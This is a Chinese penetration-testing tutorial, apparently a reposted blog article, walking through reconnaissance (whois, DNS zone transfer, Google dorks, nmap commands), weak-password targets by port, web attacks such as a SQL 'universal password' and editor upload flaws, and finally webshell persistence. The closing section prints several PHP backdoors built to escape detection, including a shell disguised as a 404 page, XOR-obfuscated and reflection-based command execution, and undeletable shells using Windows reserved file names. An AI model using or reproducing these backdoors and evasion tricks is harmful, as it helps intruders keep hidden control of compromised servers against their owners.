在进行安全渗透测试时,首先要做的是尽可能多地收集目标应用内程序信息,所以信息收集是渗透测试一个必不可少的步奏,这项任务可以通过多种不同的方式来完成,通过使用搜索引擎、扫描器、发送简单的HTTP请求或者专门精心制作的请求都有可能导致web应用程序泄露诸如错误信息、版本信息以及所使用的技术信息等信息。
域名
1.1域名信息收集
Whois(http://whois.chinaz.com)是一个用来查询域名是否已经被注册,以及注册域名详细信息的数据库(如域名所有人、域名注册商、域名注册日期和过期日期)。尽管这些信息可能与网站管理员的关系不大,但至少可以知道一些有用的东西,比如知道了DNS,可以尝试进行DNS劫持。
1.2子域名收集
目前越来越多的互联网公司开始搭建自己的DNS服务器进行解析服务,同时由于DNS服务是一项非常重要的基础性服务,因此很多公司会对DNS服务器进行主配置而DNS主备之间的数据同步就会用到DNS域传送。但如果配置不当,就会导致任何匿名用户都可以获取DNS服务器某一域的所有记录,将整个企业的基础业务以及网络架构对外暴露,从而造成严重的信息泄露,导致企业内网被渗透。
攻击者进行测试的成本很低,如dns服务器IP:1.1.1.1测试域名为wooyun.org,测试命令如下:
dig @1.1.1.1 wooyun.org axfr
或者使用自动检测方法,使用nmap进行扫描:
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=test.com -p 53 -Pn 192.168.5.6
1.3爆破子域名
如果域名没有传送漏洞的话,可以采用最原始的爆破方式,例如尝试mail.test.com,test.test.com等等
现在已经有开源工具可供自动化爆破子域名,如Layer子域名挖掘机和dnsmap,可以使用默认的爆破列表,也可以自定义爆破列表 。
同时也可以使用白帽子写的开源工具subDomainBrute和wydomain,可以递归爆破三级四级域名
1.4绕过CDN
可以在http://ping.chinaz.com上查询目标网站是否使用了CDN。网站真实IP隐藏CDN之后,直接访问CDN的域名的时候,肯定是要经过CDN这一层。如果我们让服务器连接我们呢?不就能快速得到真实IP了么?怎么让服务器主动联系我们,首先可以使用Email,有的服务器本地自带sendmail,注册之后会主动发一封邮件给我们,打开邮件源代码就能看到服务器的真实IP了。有的大型互联网网站会有自己的Mailserver,应该也是处在一个网段,也可以在那个网段打开80端口的IP一个一个尝试,如果目标使用的是公用的Smtp邮件服务器,除了mail 还有什么能让服务器链接我们呢,其实在HTML5还有一个push的功能,也就是说服务器主动发送消息给浏览器。
善用搜索引擎
在进行信息收集的时候,可以使用搜索引擎进行对一些关键信息的收集,有时候会有奇效
2.1.GoogleHack
收集域名和mail地址可以使用自动化的工具theHarvester,它可以通过搜索引擎,PGP服务器以及SHODAN数据库收集目标用户的email,子域名,主机,雇员名,开发端口和banner信息。
利用Google搜索敏感文件,也可以使用以下格式进行搜索:
Site:xxx.com filetype:doc intext:pass
Site:xxx.com filetype:xls intext:pass
Site:xxx.com filetype:conf
Site:xxx.com filetype:inc
利用Google搜索管理后台,可以使用如下格式进行搜索:
Site:xxx.com 管理
Site:xxx.com admin
Site:xxx.com login
利用Google搜索mail,可以使用以下格式进行搜索:
Site:xxx.com intext:@xxx.vom
Intext:@xxx.com
搜索敏感web路径:
Site:xxx.com intitle:mongod inurl:28017
Site:xxx.com inurl:sql.php
Site:xxx.com inurl:phpinfo.php
Google与百度爬虫可能还会爬到一些域名的子域名,可以使用site来限定域名查看结果中的子域名。
例如Google中搜索:
Site:qq.com
2.2搜索网络组件
Zoomeye是一个定位于网络空间的搜索引擎,能对暴露在公网的主机设备及网站组件进行全方位的搜索。Shodan与zoomeye相似,不同的是shodan是基于主机的网络空间搜索引擎
搜索IP
3.1C段IP
一般来说,一个规模比较大的互联网企业会拥有比较多的IP地址,这些IP地址的分配通常也是在同一个C段当中。比如当前企业主域名为www.test.com,其IP地址为222.222.222.222,可以推测222.222.222.1-255的IP地址都为该公司的IP地址,最后确定还得靠其他信息进行判断
3.2服务器指纹
有些企业运维在维护自己的服务器的时候,喜欢打上自己的标签,例如特殊的http头。这种的可以通过shodan来尽心搜索拥有同样标签的服务器。
3.3 自治系统号码
自治系统:autonomous system.在互联网中,一个自治系统(AS)是一个有权自主的决定本系统中应采用何种路由协议的小型单位。因此一个自治系统有时会被称为是一个路由选择域。一个自治系统将会分配一个全局的唯一的16位号码,我们把这个号码叫做自治系统号。可以利用AS号来寻找目标站点IP.
先安装Jwhois,执行:
Whois -h asn.shadowserver.org orgin 1.1.1.1
可获得IP所在企业的AS号,继续执行:
Whois -h asn.shadowserve.org prefix[AS号]
即可获取该as号对于的网段IP
需要注意的是,一般只有大型企业才有AS号,并且可能会有多个AS号。
3.4站点信息
在获取站点IP后,需要进一步获取服务器操作系统类型,端口服务开放和目标网络结构使用nmap可以对目标站点进行全方面的信息扫描,主要使用nmap的如下功能:
端口扫描:探测目标主机所开放的端口
版本探测:探测目标主机上的网络服务,判读其服务名称及版本号
系统探测:探测目标主机的操作系统及网络设备的硬件特性。
Nmap详解:http://drops.wooyun.org/tips/2002
外网入口点
常见弱点端口扫描
在取得站点对应的IP之后,便可对其进行端口扫描查看对应开发的服务。进行端口扫描和爆破主要用nmap,同时其他工具如hscan和fenghuangscanner也可以进行这一项操作。对扫描结果可以使用hydra进行弱口令爆破,这需要准备一个弱口令字典。
主要检测的端口和说明如下
21 ftp主要看是否支持匿名登陆anonymous账户登陆,也可以使用弱口令爆破
22 ssh弱口令爆破
23 telnet弱口令爆破
80 web常见web漏洞以及是否为一些管理后台
161 snmp弱口令,可能为public,可以使用snmoutil获取更多信息。
389 ldap 是否支持匿名访问,可以尝试猜测用户名和弱口令。
443 openssl 尝试心脏出血漏洞及一些web漏洞。
445 smb跑弱口令,同时可以使用Metasploit检测是否有ms_08067等溢出漏洞
875 rsync这是一个远程数据同步工具,可以通过LAN/WAN快速同步多台主机间的文件。
1433 mssql数据库跑弱口令
1521 oracle数据库跑弱口令
2601,2604 zebra路由,尝试默认密码zebra
3128 squid代理默认端口,如果没设置口令可能直接漫游内网。
3306 mysql跑弱口令
3389 windows远程桌面跑弱口令,登陆后可以尝试shift后门,放大镜后面,输入法漏洞等。
4440 rundeck web RunDeck可以批量管理机器下发指令执行脚本等操作,但是RunDeck serve 也可以把自身作为一个 结点去下发命令等操作,于是不用getshell,直接利用RunDeck可以对这台机器执行任意命令
4848 glassfish web 中间件存在弱口令和默认账号密码,GlassFish2默认账号密码 admin 默认密码 adminadmin ;GlassFish3、4如果管理员不设置账号本地会自动登陆
5432 postgress 跑弱口令
5900,5901,5902 vnc跑弱口令
6379 redics一般无认证,可以直接访问redics-getshell
7001,7002 web中间件weblogic跑弱口令:
http://wooyun.org/bugs/wooyun-2010-098518
8080 tomcat web中间件,跑弱口令,tomcat有许多漏洞:
http://wooyun.org/bugs/wooyun-2010-099261
8080 jboss web 中间件 后台可能不认证,能跑弱口令,jboss有许多漏洞:
http://wooyun.org/bugs/wooyun-2010-0100362
800-9090都是一些常见的web端口。跑弱口令,有些运维喜欢把管理后台开在这些非80端口上
9000 fcgi fcgi php执行:http://zong.wooyun.org/content/1060
9200 elasticsearch 代码执行:http://zone.wooyun.org/content/18915
27017 mongodb 未授权访问
28017 mongodb 统计页面:http://zone.wooyun.org/content/17430
50060 badoop web:http://wooyun.org/bugs/wooyun-2010-092412
使用NMAP进行扫描的一些常用命令如下:
获取远程主机上的系统类型及开放端口:
nmap -sS P0 -sV -O <target>
-sS Tcp SYN扫描(又称半开放,或隐身扫描)
-P0 允许你关闭ICMP pings
-sV 打开系统版本检测
-O 尝试远程识别操作系统
其他选项:
-A 同时打开操作系统指纹和版本检测
-v详细输出扫描情况
nmap -sS -P0 -A -v <target>
列出开放了指定端口的主机列表
nmap -sT -p 80 -oG -192.168.1.* |grep open
在网络中寻找所有在线主机
nmap -sP 192.168.0.*
或者也可以用以下命令
nmap -sP 192.168.0.0/24
指定 subnet
Ping指定范围内的IP地址
nmap -sP 192.168.1.100-254
在某段子网上来找未占用的IP
nmap -T4 -sP 192.168.2.0/24 && egrep ”00:00:00:00:00” /proc/net/arp
使用诱饵扫描方法来扫描主机端口
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
为一个子网列出反向DNS记录
nmap -R sL 209.85.229.99/27 | awk {if($3==”not”) print”(“$2”) no PTR”;else print$3” is ”$2”}|grep
Web渗透
2.1识别banner
使用Whatweb查看目标站点banner
2.2 webfiles扫描
使用工具御剑后台扫描或weakfilescan扫描网站备份,遍历文件目录。可能存在未授权访问的url
2.3 SQL注入
Sqlmap是一个对url进行sql注入的工具,支持大量主流数据库,有多种注入模式。在web渗透时,可以对sqlmap输入目标url,他会判读可注入的参数,判断哪种可以用哪种sql注入技术来注入,识别数据库类型,如果目标存在sql注入漏洞,可以选择重要数据进行读取
2.4 Xss
可以使用工具XSS对目标Web站点存在输入的地方进行XSS漏洞测试
2.5后台设计问题
找到后台登陆口后,若无验证码可以直接进行弱口令爆破,也可以尝试类似于a’ or 1=1 or “=’的万能密码。
2.6任意文件上传
查看上传点对文件的检查,可以绕过文件明检查等简单的检查机制,上传shell木马
2.7文件包含,文件读取
http://wooyun.org/bugs/wooyun-2010-096244
2.8编辑器漏洞
FCKEditor是一个常见的在线HTML网页编辑系统,在2.6.8版本存在一个文件上传漏洞,此上传漏洞与一般的上传漏洞不同,只需要经过简单的目录跳转就可以手工上传任意ASP木马文件,入侵服务器。也可以结合服务器解析漏洞来进行控制木马的上传。
Ewebeditor2.8商业版存在一个漏洞,可以在登陆后台后点击修改密码,新密码设置为:eval request(“a”),设置成功后,访问asp/config.asp即可,一句话木马已经被写到这个文件里面了
KindEditor3.5.2~4.1版本存在修改文件后缀漏洞,只需要在文件管理中对已经上传为图片格式的文件进行改名,通过浏览器审查元素找到form表单,修改JPG为ASP即可运行上传的后门木马。
2.9 XXE
通过构造xml外部实体,当其被服务器解析时,通过XXE漏洞可以读取任意文件。有可能获取服务器配置或者管理员信息等文件。
2.10 web漏洞扫描器
Wvs是一个自动化的web应用程序安全测试工具,它可以扫描任何通过web浏览器访问和遵循HTTP/HTTPS规则的Web站点和web应用程序。它将会扫描整个网站,通过跟踪站点上的所有链接和robotx.txt而实现扫描。然后WVS就会映射出站点的结构并显示每个文件的细节信息。在发现阶段或者扫描过程之后,WVS就会自动地对所有发现的每一个页面进行一系列的漏洞攻击。对每一个页面中可能输入数据的地方尝试所有的输入组合。在发现漏洞之后,wvs就会在“Alerts Node(警告结点)”中报告这些漏洞
3 mail服务器
3.1Mail服务器漏洞
一些web漏洞入xss、sql,xxe,心脏出血,破壳漏洞等等也是可能出现在mail服务器上,因此可能对mail服务器进行这项web漏洞测试。
案例:http://wooyun.org/bugs/wooyun-2010-079063
3.2 mail弱口令爆破
案例:http://wooyun.org/bugs/wooyun-2010-041105
3.3 mail钓鱼
通过email发送欺骗性的钓鱼链接至目标点用户邮箱,在钓鱼页面获取登陆信息。
案例:http://www.wooyun.org/bugs/wooyun-2010-04841115
3.4mail可能的外网入口
一些站点内部人员可能会通过email传递VPN密码,服务器密码等等,一但登陆其邮箱即可获取这些信息。
案例:http://wooyun.org/bugs/wooyun-2010-083019
权限巩固和提升
1 Web后门隐藏
1.1将shell写入图片
include包含(#include file=”a.jpg”)
在被攻破站点上,可以修改一个合法并之前就存在的图片,将shell写入图片当中这是一种奇特的隐藏后面的方法
一种隐藏在JPG图片EXIF中的后门资料
http://www.freebuf.com/article/web/11403.html
1.2创建隐藏文件夹,写入shell
C:\inetpub\wwwroot>md c:\inetpub\wwwroot\a..\
C:\inetpub\wwwroot>echo “<%excute(request(“1”))%>”>\\,\C:\inetpub\wwwroot\a..\aux.asp
Shell地址http://IP/a../aux.asp
注:环境是Win2003,webshell权限就可以完成,另外aspx脚本无法这样做。
1.3 隐藏文件神器Easy File Locker
Easy File Locker 是一个驱动级的文件隐藏工具,隐藏的文件在用户层是无法被发现的,但可以正常运行。
资料:lcx.cc/?i=2416
注:Easy File Locker只支持win2003环境
1.4 404马
为了不让管理员知道后门的存在,可以对php后门进行渲染,将其伪装成404页面来躲过管理员的日志分析.
资料:http://le4f.net/post/post/backdoor-hidden-and-maintenance
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body> </html> <?php @preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); ?> |
1.5 php脚本避免关键敏感字
常见的一句话后门由于其关键字过于明显,易被服务器检测到。因此需要使用一些特殊的构造方式,由于PHP可以直接声明一个变量并进行初始化或赋值操作,因此可以对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作,例如将整形转化成字符型,将布尔型转化成整形,或者将字符串当作函数来处理,这样写出的PHP后门例如:
<?php @$_++; $__=(“#”^”|”);//$__=_ $__.=(“.”^”~”);//_P $__.=(“/”^”`”);_PO $__.=(“|”^”/”);//_POS $__.=(“{”^”/”);_POST ${$__}[!$__](${$__}[$_});//$_POST[0]($_POST[1]); ?> |
借用PHP在处理变量时的语法特性,会分析双引号中的数据是否会含有变量,并解析其值。{}可解析双引号内的变量内容,@出错后继续执行,然后就可以开始构造隐藏后门了。但此处构造欲再借力于preg_replace函数引起的命令执行,构造脚本如下:
<?php Function funcfunc($str){} Echo pre_replalce(“/<title>(.+?)<\/title>/ies”,funcfunc(“\1”),$_POST[“cmd”]); ?> |
执行的方式显而易见,正则匹配后的{$phpinfo()}传入funfunc时引发起了代码执行。另一种方法。
<?php @assert(“\$arr=\”””.$_GET[‘cmd’].”\”); ?>
此外还可以使用反射型后门。构造如下
<?php $func=new ReflectionFunction($_GET[m]); Echo $func->invokeArgs(array($_GET[c])); ?> |
调用x.php?m=system&c=whoami后门也可以绕过某些检测system函数防护系统,构造如下
<?php $func=new ReflectionFunction(“system”); Echo $func->invokeArgs(“$_GET[C]”); ?> |
另外一种是借助ob_start回调执行系统命令的后门,构造如下:
<?php $cb=’system’; ob_start($cb); Echo $GET[C]; Ob_end_flush(); ?> |
当然构造的方法可以千奇百怪,只要能够躲过扫描器并且代码正常执行,就达到隐藏的目的。可以通过工具weevely来生成免杀后门,weevely的免杀方式在于,在固定区域生成随机量名称,借助str_replace,结合base64_decode执行命令。这属于代码层进行混淆以躲避扫描器
利用系统保留文件名创建无法删除的webshell来隐藏后门。由于Windows下不能够以下面这些字样来命名文件或者文件夹:
aux|prn|con|nul|com1|com2|com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt9|
但是可以通过cmd的copy命令即可实现:
D:\\wwwroot>copy rookit.asp \\.\D:wwwroot\lpt6.chouwazi.com.asp
这列文件无法在图形界面删除,只能在命令行下删除。因此在管理员不太有经验的情况下,这类木马很难被法相后删除。
上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。